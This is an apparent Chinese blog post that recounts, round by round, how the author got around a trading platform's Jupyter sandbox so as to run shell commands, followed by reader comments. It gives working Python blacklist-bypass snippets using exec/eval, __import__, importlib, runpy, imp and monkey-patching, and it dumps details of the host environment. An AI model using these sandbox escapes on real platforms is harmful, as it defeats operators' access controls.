事情要从几个月前说起。有一天某位学金融的同学找到我,问有没有兴趣参加一个量化股票交易比赛。当时我觉得反正也无聊就答应了。等拿到竞赛规则一看,发现该竞赛竟然使用同花顺MindGo量化交易平台。我之前稍微接触过一些相关产品,虽然对此类平台的通病有心理准备,但是当时同花顺MindGo平台的糟糕程度仍然让我大吃一惊。该文中提到的界面和功能上的问题现在大多已经解决,不过不知出于什么原因,该平台不希望用户执行shell命令。在比赛期间,我为了解决一些该平台API的糟糕设计,写了一个回测框架加上部分API的wrapper,但是上述限制让我没法方便地使用 git pull 更新代码了。于是我和MindGo展开了一场旷日持久的在IPython中执行shell命令的战争。
先简单检查一下运行环境。Docker里启动一个Jupyter服务器运行IPython3,正好是熟悉的场景。4路E5-2650v3(甚至可以用来挖矿),上百G内存,只限制了每用户1G存储空间和1G内存,真是太爽了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
# uname -a Linux bffe1b883883 4.7.1-040701-generic #201608160432 SMP Tue Aug 16 08:34:52 UTC 2016 x86_64 GNU/Linux # cat /proc/cpuinfo …… processor: 39 # count from 0 model name: Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHz # free -h total used free shared buffers cached Mem: 157G 137G 19G 36G 840M 111G -/+ buffers/cache: 25G 131G Swap: 59G 5.1G 54G # cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 8 (jessie)" …… # df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/docker-8:3-263238-5c6fb3c144e2936e9935cc87f464818a8566afcd2381d80b80093a3b5fbbd4d4 9.8G 8.2G 1.1G 89% / tmpfs 79G 0 79G 0% /dev tmpfs 79G 0 79G 0% /sys/fs/cgroup tmpfs 79G 36G 44G 45% /dev/shm /dev/sda3 92G 50G 37G 58% /etc/hosts 192.168.207.171:/home/quant/dataapi-data 3.6T 756G 2.7T 22% /home/jovyan/dataapi-data 192.168.207.171:/date/jupyter-data/[user id] 3.6T 756G 2.7T 22% /home/jovyan/work 192.168.207.171:/home/quant/backtest-data 886G 476G 365G 57% /home/jovyan/backtest-data # uptime 19:14:54 up 125 days, 8:22, 0 users, load average: 2.93, 2.47, 3.29 |
一场没有硝烟的战争即将打响。
Round 0
IPython允许把shell命令作为python语句执行,语法是 !do-something 。也可以用 %%sh 这一line magic把整个cell作为shell脚本解释执行。
1 2 |
!git clone https://github.com/Jamesits/MindGoWrapper.git !sh -c "cd MindGoWrapper; git pull" |
随后MindGo通过IPython的custom input transformation禁用了 get_ipython() 函数,这一功能就无法使用了。
Round 1
Python被设计为所有东西都可以monkey patch,即在运行时被改写。MindGo的基础功能在同花顺私有的 backtest 库中实现;通过 open() 读出 transformer.py 内容可知,被拦截的AST对象存储在两个变量 DIS_ALLOWED_IMPORT 和 DIS_ALLOWED_GLOBAL 里面。于是直接 import 该库,monkey patch掉相应变量:
1 2 3 4 |
import backtest backtest.utils.transformer.DIS_ALLOWED_IMPORT=() backtest.utils.transformer.DIS_ALLOWED_GLOBAL=() |
接下来就可以该干啥干啥了。
随后MindGo把 backtest 库和 ast 库加入了禁止访问的对象列表,该方法失效。
Round 2
Python有很多内置库可以执行shell命令,比如著名的 os , sys 和 subprocess 。MindGo那边虽然想法比较蠢但是技术上没有那么蠢,当然一起把这几个库也禁止导入了。不过,既然拦截是在AST层面上完成的,如果让 import 不出现在AST中,是不是就能骗过AST检查器了呢?于是显而易见:
1 2 |
exec('import os') # or exec(compile('import os', 'fakemodule', 'exec')) os.popen("do-something").readlines() |
很快 exec() 也进入了函数黑名单。
Round 3
继续上面的思路骗过AST检查器,考虑到 import 有个等价的内置函数 __import__() ,对之前的代码稍作修改,改用尚未被屏蔽的 eval() :
1 2 |
os = eval('__import__("os")') os.popen("do-something").readlines() |
函数黑名单++。
Round 3.5
Python的很多函数都可以在不止一个地方找到。比如说你 import builtins 以后就可以继续用 builtins.open() 和 builtins.__import__() 这些被禁用的函数了。不过这跟上面的思路其实一样。
1 2 3 |
import builtins os=builtins.__import__("os") os.popen("do-something").readlines() |
很快 builtins 库也被拉黑了。
Round 3.667
您接着屏蔽,我还是能找出 __import__() 来。
1 2 3 |
import __future__ os=__future__.__builtins__["__import__"]("os") os.popen("do-something").readlines() |
这里还有一些漏下的东西:
- __future__.__builtins__["__loader__"]
- (需要导入 _frozen_importlib 库,是上面那个东西的本体)
Round 4
Python的 import 功能是由 importlib 库实现的。于是:
1 2 3 |
import importlib os=importlib.__import__('os') os.popen('do-something').readlines() |
库黑名单++。
Round 5
CPython的Linux实现里有一个 pty 库用来spawn一个pseudo terminal,用它可以启动一个shell并和它的stdin/stdout/stderr进行数据交换。不过经过尝试,MindGo甚至连 open() 都加入了黑名单,从pty拿到file descriptor以后没有办法读写数据,盲调用则运行到该行时直接卡死。看来思路不可行。
这次对 open() 的屏蔽则是让战争从白盒状态进入了黑盒状态,因为没有办法读取到 backtest 库的源代码了(当然还是有的)。我隐约地感觉到,前方的敌人越发危险了。
Round 6
Python内置库被封了一大片,看来得换思路了。如果不导入,只是运行该库呢? runpy 库正好提供了这样的功能:找到某个库,运行其 __init__.py ,然后返回 globals() 。这样我们就能获取到某个库内部的函数:
1 2 3 |
import runpy os=runpy.run_module("os") os['popen']('do-something').readlines() |
一天以后库黑名单++,反应真是迅速啊。而且不仅库被封,所有名字看起来像是有问题的(比如一个叫做 os 的对象或者一个叫做 __import__ 的对象)都会在AST上加以拦截。
看来有些用户得改一些变量名喽。
Round 7
于是我在某个周五晚上提出了新的方案,看同花顺程序员是今晚加班还是明天周六加班。有一个deprecated的老库叫 imp ,之前被用来实现 import 功能,现在基本上已经被 importlib 替代了。廉颇老矣,让我们来看看它尚能饭否。
1 2 3 4 5 6 7 8 9 10 11 12 |
import imp def import2(name, globals=None, locals=None, fromlist=None): fp, pathname, description = imp.find_module(name) try: return imp.load_module(name, fp, pathname, description) finally: if fp: fp.close() os2=import2("os") os2.popen('do-something').readlines() |
成功了!
Round 8
如果把代码在一个不受IPython影响的环境里运行呢?Python有一个叫 code 的库可以用来启动一个干净的Python运行环境;只不过,和原来代码的交互可能构成一些问题。我们来试一下:
1 2 3 |
import code console = code.InteractiveConsole(locals()) console.push("import sys; print(sys.version)") |
是可以正常输出的。
下一步
文章写到这儿,其实思路已经比较局限了,从执行shell命令的一万种方法变成了花式import库的一万种方法。如果自带的方法不给用,那就想办法导入一些别的;如果导入都没法导入,那就想办法找新的导入函数。其实除了以上这些方法,我们还有一些更加投机取巧的办法,比如:
- pkgutil等漏下的库
- 自己写一个具有执行shell命令的module,上传,import然后使用
- 或者把module用zipapp等方案打包,上传的时候会方便很多
- 用ctypes或者其它类似方案执行native code
- 用
gc.get_objects()
获得对所有对象的引用,然后在里面找到想要的东西(参考https://twitter.com/adolli/status/1170267214571696128) - ……
不过这些就超出本文探讨的范围了。这比赛我不想玩了,写下本篇文章,记录下与人斗的其乐无穷。
为什么要这么麻烦呢?
一方面是因为执行环境受限,一方面是为了探寻更多的可能性。
这他妈太好玩了,学习的乐趣所在啊。还是衍生了很多安全问题,我自己开放了自己的vps上的一个jupyter。。。
受教了。
最近打不开mindgo网站的研究环境(https://quant.10jqka.com.cn/platform/html/study-research.html)。
显示网站拒绝了我的请求。
不知是否因为人在国外,兄台可以指点一下吗。
我也打不开